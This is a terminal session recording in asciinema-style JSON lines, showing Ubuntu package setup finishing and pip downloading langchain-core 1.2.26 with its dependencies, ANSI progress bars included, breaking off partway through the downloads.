[139.246188, "o", "Setting up libheif-plugin-libde265:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[139.269739, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 99%]\u001b[49m\u001b[39m [##########################################################################################################################################################################################..] \u001b8"]
[139.285847, "o", "Setting up libheif-plugin-aomenc:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[139.324711, "o", "Processing triggers for libc-bin (2.39-0ubuntu8.7) ...\r\n"]
[139.390999, "o", "Processing triggers for ca-certificates (20240203) ...\r\n"]
[139.418736, "o", "Updating certificates in /etc/ssl/certs...\r\n"]
[141.958096, "o", "0 added, 0 removed; done.\r\nRunning hooks in /etc/ca-certificates/update.d...\r\n"]
[141.967519, "o", "done.\r\n"]
[142.022214, "o", "\r\n\u001b7\u001b[0;54r\u001b8\u001b[1A\u001b[J"]
[142.929635, "o", "Collecting langchain-core==1.2.26\r\n"]
[143.119285, "o", "  Downloading langchain_core-1.2.26-py3-none-any.whl.metadata (4.4 kB)\r\n"]
[143.217723, "o", "Collecting jsonpatch<2.0.0,>=1.33.0 (from langchain-core==1.2.26)\r\n"]
[143.244849, "o", "  Downloading jsonpatch-1.33-py2.py3-none-any.whl.metadata (3.0 kB)\r\n"]
[143.56042, "o", "Collecting langsmith<1.0.0,>=0.3.45 (from langchain-core==1.2.26)"]
[143.561923, "o", "\r\n"]
[143.611144, "o", "  Downloading langsmith-0.7.25-py3-none-any.whl.metadata (15 kB)\r\n"]
[143.706143, "o", "Collecting packaging>=23.2.0 (from langchain-core==1.2.26)\r\n"]
[143.73807, "o", "  Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB)\r\n"]
[144.025435, "o", "Collecting pydantic<3.0.0,>=2.7.4 (from langchain-core==1.2.26)\r\n"]
[144.069969, "o", "  Downloading pydantic-2.12.5-py3-none-any.whl.metadata (90 kB)\r\n\u001b[?25l     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/90.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[144.107361, "o", "\r\u001b[2K     \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━\u001b[0m \u001b[32m81.9/90.6 kB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[144.123703, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m90.6/90.6 kB\u001b[0m \u001b[31m1.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m"]
[144.126815, "o", "\r\n\u001b[?25h"]
[144.248573, "o", "Collecting pyyaml<7.0.0,>=5.3.0 (from langchain-core==1.2.26)\r\n"]
[144.287154, "o", "  Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB)"]
[144.292152, "o", "\r\n"]
[144.392445, "o", "Collecting tenacity!=8.4.0,<10.0.0,>=8.1.0 (from langchain-core==1.2.26)\r\n"]
[144.426397, "o", "  Downloading tenacity-9.1.4-py3-none-any.whl.metadata (1.2 kB)\r\n"]
[144.519447, "o", "Collecting typing-extensions<5.0.0,>=4.7.0 (from langchain-core==1.2.26)\r\n"]
[144.558727, "o", "  Downloading typing_extensions-4.15.0-py3-none-any.whl.metadata (3.3 kB)\r\n"]
[144.71391, "o", "Collecting uuid-utils<1.0,>=0.12.0 (from langchain-core==1.2.26)"]
[144.715968, "o", "\r\n"]
[144.780121, "o", "  Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (4.8 kB)\r\n"]
[144.906189, "o", "Collecting jsonpointer>=1.9 (from jsonpatch<2.0.0,>=1.33.0->langchain-core==1.2.26)\r\n"]
[144.937022, "o", "  Downloading jsonpointer-3.1.1-py3-none-any.whl.metadata (2.4 kB)\r\n"]
[145.096581, "o", "Collecting httpx<1,>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[145.134096, "o", "  Downloading httpx-0.28.1-py3-none-any.whl.metadata (7.1 kB)\r\n"]
[145.726264, "o", "Collecting orjson>=3.9.14 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)"]
[145.726353, "o", "\r\n"]
[145.757638, "o", "  Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (41 kB)\r\n"]
[145.758131, "o", "\u001b[?25l     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/42.0 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[145.772124, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m42.0/42.0 kB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[145.883365, "o", "Collecting requests-toolbelt>=1.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[145.916723, "o", "  Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl.metadata (14 kB)\r\n"]
[146.025452, "o", "Collecting requests>=2.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[146.064155, "o", "  Downloading requests-2.33.1-py3-none-any.whl.metadata (4.8 kB)\r\n"]
[146.286881, "o", "Collecting xxhash>=3.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)"]
[146.289767, "o", "\r\n"]
[146.318247, "o", "  Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (13 kB)\r\n"]
[146.490201, "o", "Collecting zstandard>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[146.513623, "o", "  Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (3.3 kB)\r\n"]
[146.632472, "o", "Collecting annotated-types>=0.6.0 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26)\r\n"]
[146.663894, "o", "  Downloading annotated_types-0.7.0-py3-none-any.whl.metadata (15 kB)\r\n"]
[148.169858, "o", "Collecting pydantic-core==2.41.5 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26)"]
[148.171714, "o", "\r\n"]
[148.212107, "o", "  Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (7.3 kB)\r\n"]
[148.361138, "o", "Collecting typing-inspection>=0.4.2 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.26)"]
[148.363616, "o", "\r\n"]
[148.397545, "o", "  Downloading typing_inspection-0.4.2-py3-none-any.whl.metadata (2.6 kB)\r\n"]
[148.556116, "o", "Collecting anyio (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[148.682173, "o", "  Downloading anyio-4.13.0-py3-none-any.whl.metadata (4.5 kB)\r\n"]
[148.829112, "o", "Collecting certifi (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[148.865716, "o", "  Downloading certifi-2026.2.25-py3-none-any.whl.metadata (2.5 kB)\r\n"]
[148.964135, "o", "Collecting httpcore==1.* (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[148.999068, "o", "  Downloading httpcore-1.0.9-py3-none-any.whl.metadata (21 kB)\r\n"]
[149.066022, "o", "Collecting idna (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[149.093242, "o", "  Downloading idna-3.11-py3-none-any.whl.metadata (8.4 kB)\r\n"]
[149.244382, "o", "Collecting h11>=0.16 (from httpcore==1.*->httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)\r\n"]
[149.273895, "o", "  Downloading h11-0.16.0-py3-none-any.whl.metadata (8.3 kB)\r\n"]
[149.573309, "o", "Collecting charset_normalizer<4,>=2 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)"]
[149.577266, "o", "\r\n"]
[149.647205, "o", "  Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (40 kB)\r\n"]
[149.647306, "o", "\u001b[?25l"]
[149.65037, "o", "     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/40.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[149.670639, "o", "\r\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m40.9/40.9 kB\u001b[0m \u001b[31m1.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[149.852529, "o", "Collecting urllib3<3,>=1.26 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.26)"]
[149.854016, "o", "\r\n"]
[149.886404, "o", "  Downloading urllib3-2.6.3-py3-none-any.whl.metadata (6.9 kB)\r\n"]
[150.078742, "o", "Downloading langchain_core-1.2.26-py3-none-any.whl (508 kB)\r\n\u001b[?25l"]
[150.080192, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/508.3 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[150.118509, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m163.8/508.3 kB\u001b[0m \u001b[31m16.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.158237, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━\u001b[0m \u001b[32m307.2/508.3 kB\u001b[0m \u001b[31m6.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.194007, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━\u001b[0m \u001b[32m440.3/508.3 kB\u001b[0m \u001b[31m5.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.236474, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m508.3/508.3 kB\u001b[0m \u001b[31m4.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[150.274819, "o", "Downloading jsonpatch-1.33-py2.py3-none-any.whl (12 kB)"]
[150.278513, "o", "\r\n"]
[150.326104, "o", "Downloading langsmith-0.7.25-py3-none-any.whl (359 kB)\r\n\u001b[?25l"]
[150.337154, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/359.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[150.376807, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m174.1/359.4 kB\u001b[0m \u001b[31m4.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.413473, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━\u001b[0m \u001b[32m276.5/359.4 kB\u001b[0m \u001b[31m4.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.450545, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m358.4/359.4 kB\u001b[0m \u001b[31m3.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.462742, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m359.4/359.4 kB\u001b[0m \u001b[31m3.0 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[150.493248, "o", "Downloading packaging-26.0-py3-none-any.whl (74 kB)\r\n\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/74.4 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[150.527739, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━\u001b[0m \u001b[32m71.7/74.4 kB\u001b[0m \u001b[31m3.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.529953, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m74.4/74.4 kB\u001b[0m \u001b[31m1.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[150.566019, "o", "Downloading pydantic-2.12.5-py3-none-any.whl (463 kB)\r\n\u001b[?25l"]
[150.568889, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/463.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[150.605698, "o", "\r\u001b[2K   \u001b[91m━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m92.2/463.6 kB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.653123, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m225.3/463.6 kB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.700851, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━\u001b[0m \u001b[32m286.7/463.6 kB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.737614, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━\u001b[0m \u001b[32m419.8/463.6 kB\u001b[0m \u001b[31m2.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.754035, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m463.6/463.6 kB\u001b[0m \u001b[31m2.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m"]
[150.757609, "o", "\r\n\u001b[?25h"]
[150.797325, "o", "Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB)\r\n"]
[150.798139, "o", "\u001b[?25l"]
[150.799833, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/2.1 MB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[150.835165, "o", "\r\u001b[2K   \u001b[91m━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.1/2.1 MB\u001b[0m \u001b[31m4.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.877805, "o", "\r\u001b[2K   \u001b[91m━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.2/2.1 MB\u001b[0m \u001b[31m3.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.910211, "o", "\r\u001b[2K   \u001b[91m━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.3/2.1 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[150.989272, "o", "\r\u001b[2K   \u001b[91m━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.3/2.1 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.030796, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.4/2.1 MB\u001b[0m \u001b[31m2.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.06023, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.5/2.1 MB\u001b[0m \u001b[31m2.1 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.093195, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.6/2.1 MB\u001b[0m \u001b[31m2.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.129791, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.7/2.1 MB\u001b[0m \u001b[31m2.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.199656, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.9/2.1 MB\u001b[0m \u001b[31m2.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.235417, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.0/2.1 MB\u001b[0m \u001b[31m2.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.272038, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.1/2.1 MB\u001b[0m \u001b[31m2.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.307466, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━\u001b[0m \u001b[32m1.4/2.1 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.350722, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━\u001b[0m \u001b[32m1.5/2.1 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.390454, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━\u001b[0m \u001b[32m1.5/2.1 MB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.435228, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━\u001b[0m \u001b[32m1.7/2.1 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.46944, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━\u001b[0m \u001b[32m1.9/2.1 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.50955, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m \u001b[32m2.1/2.1 MB\u001b[0m \u001b[31m2.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.541184, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m2.1/2.1 MB\u001b[0m \u001b[31m2.8 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[151.586436, "o", "Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (807 kB)\r\n\u001b[?25l"]
[151.594588, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/807.9 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[151.630638, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m174.1/807.9 kB\u001b[0m \u001b[31m5.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.676032, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m307.2/807.9 kB\u001b[0m \u001b[31m4.0 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.710837, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m419.8/807.9 kB\u001b[0m \u001b[31m4.1 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.758534, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m471.0/807.9 kB\u001b[0m \u001b[31m2.9 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.798818, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━━━━━━━━\u001b[0m \u001b[32m645.1/807.9 kB\u001b[0m \u001b[31m3.3 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.834749, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[91m╸\u001b[0m\u001b[90m━\u001b[0m \u001b[32m778.2/807.9 kB\u001b[0m \u001b[31m3.4 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[151.85103, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m807.9/807.9 kB\u001b[0m \u001b[31m3.1 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[151.882707, "o", "Downloading tenacity-9.1.4-py3-none-any.whl (28 kB)\r\n"]
[151.962292, "o", "Downloading typing_extensions-4.15.0-py3-none-any.whl (44 kB)\r\n\u001b[?25l"]
[151.967862, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/44.6 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[151.989637, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m44.6/44.6 kB\u001b[0m \u001b[31m1.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.021669, "o", "Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (345 kB)\r\n"]
[152.026658, "o", "\u001b[?25l   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/345.7 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.062957, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m122.9/345.7 kB\u001b[0m \u001b[31m5.8 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.096982, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m\u001b[90m━━━━━━━━━━━━\u001b[0m \u001b[32m235.5/345.7 kB\u001b[0m \u001b[31m4.2 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.144042, "o", "\r\u001b[2K   \u001b[91m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[90m╺\u001b[0m \u001b[32m337.9/345.7 kB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:01\u001b[0m"]
[152.163105, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m345.7/345.7 kB\u001b[0m \u001b[31m2.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.205023, "o", "Downloading annotated_types-0.7.0-py3-none-any.whl (13 kB)"]
[152.21024, "o", "\r\n"]
[152.266228, "o", "Downloading httpx-0.28.1-py3-none-any.whl (73 kB)\r\n"]
[152.269848, "o", "\u001b[?25l"]
[152.273623, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/73.5 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.293583, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m73.5/73.5 kB\u001b[0m \u001b[31m4.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
[152.329795, "o", "Downloading httpcore-1.0.9-py3-none-any.whl (78 kB)\r\n"]
[152.331702, "o", "\u001b[?25l"]
[152.336006, "o", "   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m0.0/78.8 kB\u001b[0m \u001b[31m?\u001b[0m eta \u001b[36m-:--:--\u001b[0m"]
[152.356266, "o", "\r\u001b[2K   \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m78.8/78.8 kB\u001b[0m \u001b[31m5.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\r\n\u001b[?25h"]
